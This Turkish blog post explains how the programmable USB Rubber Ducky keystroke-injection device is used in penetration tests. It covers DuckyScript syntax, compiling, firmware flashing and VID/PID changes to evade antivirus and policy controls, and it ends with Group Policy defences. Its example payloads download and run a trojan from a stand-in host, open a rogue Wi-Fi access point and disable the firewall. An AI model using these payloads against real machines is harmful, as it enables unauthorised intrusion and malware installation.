11 Mart 2014 Salı

Programlanabilir USB HID Cihazlar ve Pentestler’de Kullanımı

Programlanabilir USB HID Cihazlar ve Pentestler de Kullanımı
USB HID (Human Interface Devices) Sınıfı:  USB HID modern işletim sistemlerinde kullanılan usb donanımlar için iletişimi sağlayan standartlardır. USB HID Sınıfı bir çok tanımlanmış fonksiyondan oluşur. Bu fonksiyonlar Donanım üreticilerinin USB HID sınıf özelliklerine göre donanım üretmelerine olanak sağlamaktadır. USB HID Sınıfı uyumlu donanımlar için sürücüler modern işletim sistemlerinde (Android ve IOS dahil) bulunmakta ve bu donanımlar için herhangi bir sürücü kurma ihtiyacı bulunmamaktadır.
Genelde Mouse, Klavye, yazılım koruma Dongle ları ve benzer bir çok donanım USB HID Standartlarına uyarak hazırlanmaktadır.

USB HID API

USB HID için API iki seviyede çalışmaktadır, USB ve İşletim sistemi seviyesinde.
Detaylı Bilgi:

USB HID Cihazların Pentestlerde kullanımı

USB HID cihazlar sisteme takıldıklarında herhangi bir sürücü kurmaya gerek kalmadan sisteme istenilen komutları gönderebilirler. Örneğin bir klavyenin takıldığında otomatik olarak kullanılmaya hazır duruma gelmesi gibi. Hemen hemen tüm işletim sistemleri USB HID standartlarında yazılmış donanımların herhangi bir yetki kontrolü yapılmaksızın kullanılmasına olanak vermesi sebebiyle penetrasyon testleri sırasında hedef sisteme sızma amaçlı uygulamanın aktarılması yada hedef sistemden yetkisiz veri aktarımı için kullanılabilir.

USB Rubber Ducky




USB Rubber Ducky klavye chipsetine sahip programlanabilir konsept bir donanımdır. Kolaylıkla programlanabilen USB Rubber Ducky aynı zamanda da içinde bulunan micro sd kart ile sisteme veri aktarabilme özelliğine de sahiptir.
Aşağıdaki linkten temin edilebilir.
https://hakshop.myshopify.com/collections/usb-rubber-ducky
Programlama (DuckyScript)
USB Rubber Ducky nin programlanması için kullanılan dile verilen isim DuckyScript tir. Herhangi bir text editoru ile yazılabilir.(nano, VI, gedit, notepad vs..)

Sözdizimi

Basit bir söz dizimine sahiptir, Tüm komutlar bir satırda ve büyük harfler kullanılarak yazılmalıdır.

Komutlar ve kullanımları ;
            
REM
REM ile başlayan satır işlenmez REM yorum "comment" ifade etmek için kullanılır.

DEFAULT_DELAY ve DEFAULTDELAY
Milisaniye olarak tüm komutlar arasında bir bekleme süresi tanımlamayı sağlar. Aşağıdaki          örnek kullanımda her komut satırı arasında 1 saniye bekleme tanımlanmıştır.
           
Örn:
DEFAULT_DELAY 1000
GUI r
STRING cmd
ENTER
         
 DELAY
Milisaniye olarak Kullanıldığı anda belirtilen süre kadar durmayı sağlar. Bir önceki komutun        tamamlanmasını beklemek için uygundur. 1 ile 10000 arası değer alır. Birden çok sefer    kullanılarak bekleme süreleri arttırılabilir.

STRING
Yazılan metinlerin işlenmesini sağlayan komuttur. tek ve çoklu karakter kabul edebilir.
 ^ Komut ^ Parametre ^ | STRING | a…z A…Z 0..9 !…) `~ += _- “' :; <, >. ?/ \ ve pipe |
             
WINDOWS ve GUI
Windows tuşu ve sonrasında yazılacak ifadeleri tanımlamak için kullanılır. Aşağıdaki örnekte     Windows + r tuşu ile "çalıştır(run)" açılmıştır.
           
 Örn:
 GUI r

 MENU ve APP
Shift + F10 tuşlarını emule eder , sağ klik menusune ulaşmayı sağlar.

Örn:
GUI d
MENU
STRING v
STRING d
               
SHIFT
Shift  komutunu sisteme göndermeyi sağlar , arkasından ek komutlar kullanılabilir.
SHIFT | DELETE, HOME, INSERT, PAGEUP, PAGEDOWN, WINDOWS, GUI, UPARROW,   DOWNARROW, LEFTARROW, RIGHTARROW, TAB
          
ALT
ALT komutunu sisteme göndermeyi sağlar, arkasından ek komutlar kullanılabilir.
ALT |END, ESC, ESCAPE, F1…F12, Single Char, SPACE, TAB |

Örn:
GUI r
DELAY 50
STRING notepad.exe
ENTER
DELAY 100
STRING Hello World
ALT f
STRING s

CONTROL ve CTRL
CTRL komutunu sisteme göndermeyi sağlar, arkasından ek komutlar kullanılabilir.
CONTROL | BREAK, PAUSE, F1…F12, ESCAPE, ESC
            
Diğer Komutlar
BREAK ve PAUSE | CAPSLOCK | DELETE | END | ESC ve ESCAPE | HOME | INSERT | NUMLOCK                | PAGEUP |  PAGEDOWN | PRINTSCREEN | SCROLLLOCK | SPACE | TAB

Derlemek

Yazılan komutlar hex olarak derlenir ve Usb Rubber Ducky içinde bulunan Micro SD kart içine "inject.bin" adı ile kök dizine kaydedilmelidir. Derleme  için duckencoder kullanılabilir.
Aşağıdaki adresten indirilebilir
Yazılan Scriptlerin derlenmesini sağlayan Java ile hazırlanmış bir araçtır.

Kullanımı
Windows:
duckencode -i [input.txt]                                          
duckencode -i [input.txt] -o [ inject.bin]

Linux:
java -jar duckencoder.jar -i script.txt -o /media/microsdcard/inject.bin
Hata Tespiti :
java -jar encoder.jar --debug -i input.txt

Örnek Scriptler

Yazılan scriptler işletim sistemine ve işletim sisteminin klavye diline uygun hazırlanmalı ve benzer özelliklere sahip işletim sisteminde test edilmelidir.

* USB Rubber Ducky Türkçe dil desteğine sahip değildir. Bu yüzden aşağıda örneklenen scriptler US Klavye dizilimine göre hazırlanmıştır. Hedef sistem US klavye ile çalışmalı yada scriptlerdeki karakterler TR Klavye düzenine denk gelen karakterler ile değiştirilmelidir. Yakında TR klavye desteği de USB Rubber Ducky e eklenecektir.

Windows - Çalışabilirliğin test edilmesi
Aşağıdaki script çalıştığında Başlat > Çalıştır > Notepad > Merhaba Dunya!!! metnini yazacaktır.
Scriptlerin çalıştığını ve düzgün encode edildiğini görüntülemek için kullanılabilir.
DELAY 3000
GUI R
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 750
STRING Merhaba Dunya!!!
ENTER
Yukarıdaki metin bir text belgesi içeriğine yazılarak duckyencoder ile "inject.bin" uzantısı ve adı ile encode edilerek USB Rubber Duck içinde bulunan SD kart içine kök e kaydedilmelidir. herhangi bir Windows işletim sistemine takılarak test edilebilir.

Dowload & Çalıştır - Powershell ile
DELAY 3000
GUI r
DELAY 100
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://site.com/aa.exe','%TEMP%\bb.exe');
DELAY 100
STRING Start-Process "%TEMP%\bb.exe"
ENTER

Download & Çalıştır - CMD ile
ESCAPE
CONTROL ESCAPE
DELAY 400
STRING cmd
DELAY 400
ENTER
DELAY 400
STRING copy con download.vbs
ENTER
STRING Set args = WScript.Arguments:a = split(args(0), "/")(UBound(split(args(0),"/")))
ENTER
STRING Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"):objXMLHTTP.open "GET", args(0), false:objXMLHTTP.send()
ENTER
STRING If objXMLHTTP.Status = 200 Then
ENTER
STRING Set objADOStream = CreateObject("ADODB.Stream"):objADOStream.Open
ENTER
STRING objADOStream.Type = 1:objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position = 0
ENTER
STRING Set objFSO = Createobject("Scripting.FileSystemObject"):If objFSO.Fileexists(a) Then objFSO.DeleteFile a
ENTER
STRING objADOStream.SaveToFile a:objADOStream.Close:Set objADOStream = Nothing
ENTER
STRING End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing
ENTER
CTRL z
ENTER
STRING cscript download.vbs http://www.site.com/trojan.exe
ENTER
STRING trojan.exe
ENTER
STRING exit
ENTER


Wireless erişim Noktası Bağlantısı
CONTROL ESCAPE
DELAY 200
STRING cmd
DELAY 200
MENU
DELAY 100
STRING a
DELAY 100
LEFTARROW
ENTER
DELAY 200
STRING netsh wlan set hostednetwork mode=allow ssid=fakeap key=sifre
ENTER
DELAY 100
STRING netsh wlan start hostednetwork
ENTER
DELAY 100
STRING netsh firewall set opmode disable
ENTER
STRING exit
ENTER

OS X Download & Çalıştır
DELAY 1000
COMMAND SPACE
DELAY 800
STRING Terminal
DELAY 500
ENTER
DELAY 500
STRING curl http://www.site.com/script.py > file.py
ENTER
DELAY 1000
STRING python file.py
ENTER

Örnek Scriptler & Payloadlar:

Firmware Update

USB Rubber Ducky bir kaç modda çalışabilmektedir. Firmware update ile özellikleri arttırılabilir.


  1. Duck Mod:  Orjinal Firmware , tüm işletim sistemlerinde desteklenen tek bir script çalıştırabilen mod.
  2. Fat Duck Mod : USB Depolama modu Script çalıştıramaz fakat politikalar ile belirlenen cihaz VID ve HID değerlerinin değişmesine izin verdiğinden USB Koruma uygulamalarını aşmayı sağlar
  3. Naked Duck : Birden fazla script çalıştırabilme özelliğine sahiptir, fakat üstünde bulunan ufak butona basılarak diğer scriptlere geçmesi sağlanır. Bu yüzden hedef sisteme çıplak olarak takılmalıdır.
  4. Twin Duck : HID ve Depolama aygıtı aynı zamanda çalışır ve scriptlerin verileri usb sürücüye yada usb sürücüden atmaları sağlanır.

Firmwareların elde edileceği adres :
https://code.google.com/p/ducky-decode/downloads/list
Firmware Update:
Linux ile USB Rubber Ducky nin firmwarının güncellenmesi ve farklı özelliklerde kullanımı sağlanmak isteniyor ise dfu-programmer pakedine ihtiyaç vardır, eğer depolarda yok ise aşağıdaki linkten indirilerek kurulabilir.

Kurulumu


tar –xzf dfu-programmer-0.5.4.tgz
cd dfu-programmer-0.5.4
./configure
make
sudo make install


Firmware Update Yapmak

Bu işlem gerçekleşmeden önce Usb Rubber Ducky üzerinde bulunan ufak tuşa basılarak sisteme takılmalıdır. Linux

  1. Varolan firmware i yedeklemek : dfu-programmer at32uc3b1256 dump >dump.bin
  2. Resetlemek : dfu-programmer at32uc3b1256 reset ( Tekrar ışık yanıp sönmeye başlayacaktır.)
  3. Varloan Firmware ın silinmesi : dfu-programmer at32uc3b1256 erase
  4. Update Etmek : dfu-programmer at32uc3b1256 flash --suppress-bootloader-mem ducky-update.hex
  5. Tekrar Resetlemek : dfu-programmer at32uc3b1256 reset
Yukarıdaki örnekte Usb Rubber Ducky Twin Duck firmware ile update edilmiştir. (c_duck_v2.1.hex)

VID(Vendor ID) ve PID (Product ID) Değerlerinin Değiştirilmesi

Antivirüs ve Policy kısıtlamalarından kurtulmak için USB rubber Ducky nin VID ve PID değerleri değiştirilerek tanınması engellenebilir.
Varsayılan VID ve PID değerleri : 03EB (VID) 2403 (PID) değerlerini kullanmaktadır. Firmware herhangi bir hex editor ile açlarak yen VID ve PID değerleri girilebilir. Fakat bu alanlara standart VID ve PID değerleri dışında bir verinin girilmesi donanımın çalışmasını bozacaktır. Bu yüzden aşağıdaki linkte bulunan VID ve PID değerlerinden biri ile değiştirilmelidir.
Versiyon 2 Firmware için bu değerlerin değiştirilmesi sd card kök dizinde bulunan vidpid.bin dosyasının herhangi bir hex editoru ile açılarak değiştirilmesi ile gerçekleştirilebilir.
Linux üzerinde aşağıdaki şekilde bu değerler değiştirilebilir.
hexedit /media/Ducky/vidpid.bin
00000000  03 eb 24 03                                       |..$.|

Korunma

Grup Policy ile uSB donanımların GUID değerleri belirlenerek engellenebilir, fakat USB Rubber Ducky VID ve PID değerlerini değiştirebilme özelliğine sahiptir ve kolayca bu korumadan kurtulabilir, bununla beraber engelleyebilmenin tek yolu Group Policy ile kurum içinde kullanılan donanımların belirlenmesi ve sadece bu donanımların çalışmasını sağlamak olabilir. Tabi bu da tüm USB donanımların tanıtılması ve sıklıkla yeni girişler yapılması gibi bir yönetim zorluğu getirmekte.
İlgili Policy Ayarları Aşağıdaki yolda bulunabilir
Computer Configuration->Administrative Templates->System->Device Installation->Device Installation Restrictions
Korunma ile ilgili aşağıdaki makale yardımcı olabilir.
http://www.irongeek.com/i.php?page=security/locking-down-windows-vista-and-windows-7-against-malicious-usb-devices

1 yorum:

  1. abi kali net hunter diye bir işletim sistemi çıktı bundada telefona kurup usb rubber ducky gibi davranıyor fakat acaba bunu twin duck gibi çalıştırmanın yolu varmıdır??????????????????????**

    YanıtlaSil